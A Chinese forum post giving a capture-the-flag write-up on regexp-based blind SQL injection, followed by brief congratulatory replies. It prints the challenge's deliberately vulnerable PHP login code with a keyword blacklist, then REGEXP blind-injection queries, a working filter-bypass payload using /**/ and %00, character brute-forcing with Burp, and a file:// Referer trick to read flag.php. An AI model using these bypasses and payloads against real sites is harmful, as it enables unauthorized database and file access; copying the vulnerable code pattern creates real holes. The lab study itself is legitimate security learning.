查看: 236|回复: 3

[Misc] SQL注入之正则盲注(详细教学)

[复制链接]

 成长值: 736

14

主题

31

帖子

17

积分

版主|UID:26

资源币:35

Ⅴ币:138

云币:0

我的勋章
发表于 2019-12-27 12:35:37 | 显示全部楼层 |阅读模式
题目链接: 地址

下面是题目源码
  1. <?php
  2. include "config.php";
  3. error_reporting(0);
  4. highlight_file(__FILE__);

  5. $check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
  6. if(preg_match($check_list, $_POST['username'])){
  7.     die('<h1>Hacking first,then login!Username is very special.</h1>');
  8. }
  9. if(preg_match($check_list, $_POST['passwd'])){
  10.     die('<h1>Hacking first,then login!No easy password.</h1>');
  11. }
  12. $query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";
  13. $result = mysql_query($query);
  14. $result = mysql_fetch_array($result);
  15. $passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
  16. if($result['user']){
  17.     echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>";
  18. }
  19. if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
  20.     $url = $_SERVER["HTTP_REFERER"];
  21.     $parts = parse_url($url);
  22.     if(empty($parts['host']) || $parts['host'] != 'localhost'){
  23.         die('<h1>The website only can come from localhost!You are not admin!</h1>');
  24.     }
  25.     else{
  26.         readfile($url);
  27.     }
  28. }
  29. ?>

复制代码
我原本以为一道sql 以为只是个青铜,没想到它却是个王者。
  1. $check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
复制代码
当我看到了,这一串过滤名单后,我就知道,这道题注定不凡!!

我们先介绍一下正则表达式注入说通俗点就是常用的筛选语句被过滤的时候使用like 或regexp进行匹配,regexp支持正则表达式匹配
  1. //判断第一个表名的第一个字符是否在a-z之间

  2. ?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*


  3. //REGEXP '^[a-z]'即是匹配正则表达式,^表示匹配字符串的开始,[a-z]即匹配字母a-z
复制代码

  1. //判断第一个表名的第一个字符是n

  2. index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
复制代码
  1. //表达式如下:

  2.     expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

  3.     //这时说明表名为news ,要验证是否是该表明 正则表达式为'^news
复制代码
  1. //例如security数据库的表有多个,users,email等

  2. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的

  3. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的

  4. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的

  5. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确

  6. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

  7. 实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一
复制代码

好了,现在有了大概的了解,那么我们回到题目中去。
  1.     $query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";
复制代码
题目中的sql语句是这样的。

由于过滤了空格,我们用/**/绕过

由于过滤了# - ,我们用;%00绕过


构造payload如下
  1. username=\&passwd=||passwd/**/REGEXP/**/"^d";%00
复制代码

这里有个坑。。我们再回看一下 过滤列表
  1. $check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
复制代码

能看到%00 是过滤列表的,而我们payload的却含有%00,那么,为什么不会被过滤??
经过作者的一番测试发现,参数在传到php的时候,会预先进行一次urldecode




这就是%00在payload里面,却不会被过滤的秘密了!

那么开始用burp爆破

添加好爆破位置,开始爆破。

第一位爆破成功,d,开始爆破第二位


第二位爆破成功,为0.
...
依次类推,爆破得到密码为:d0itr1ght
得到了密码,那么就开始登陆。由于过滤了admin,采用admi/**/n绕过
20191226214211615.png

  1. if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
  2.     $url = $_SERVER["HTTP_REFERER"];
  3.     $parts = parse_url($url);
  4.     if(empty($parts['host']) || $parts['host'] != 'localhost'){
  5.         die('<h1>The website only can come from localhost!You are not admin!</h1>');
  6.     }
  7.     else{
  8.         readfile($url);
  9.     }
  10. }
复制代码

看到登陆成功后,可以进行读文件,那么flag一定在某个文件中,御剑扫一下。


扫到了flag.php

修改referer 为:file://localhost/var/www/html/flag.php ,得到flag


这题就得到了flag,第一次在论坛发帖,欢迎大家指出不足之处。
这个人还没有留下签名~~~~
回复

使用道具 举报

11

主题

29

帖子

8

积分

初学乍练|UID:165

资源币:19

Ⅴ币:56

云币:0

我的勋章
发表于 2020-1-6 22:15:52 | 显示全部楼层
很强,等学了sql注入再回顾
这个人还没有留下签名~~~~
回复

使用道具 举报

0

主题

4

帖子

2

积分

初学乍练|UID:127

资源币:2

Ⅴ币:19

云币:0

我的勋章
发表于 2020-1-8 08:58:30 | 显示全部楼层
太强了!
这个人还没有留下签名~~~~
回复

使用道具 举报

0

主题

5

帖子

3

积分

初学乍练|UID:25

资源币:16

Ⅴ币:18

云币:0

我的勋章
发表于 2020-1-8 15:02:55 | 显示全部楼层
厉害~学到了
这个人还没有留下签名~~~~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|PayHelp ( 苏ICP备19067019号-1 )

GMT+8, 2020-4-7 04:55

Powered by PayHelp 社区 X3.4本站部分资源来自互联网搜集,由PayHelp整理发布,若侵犯了你的合法权益请联系我们!

© 2017-2019 PayHelp Inc.

快速回复 返回顶部 返回列表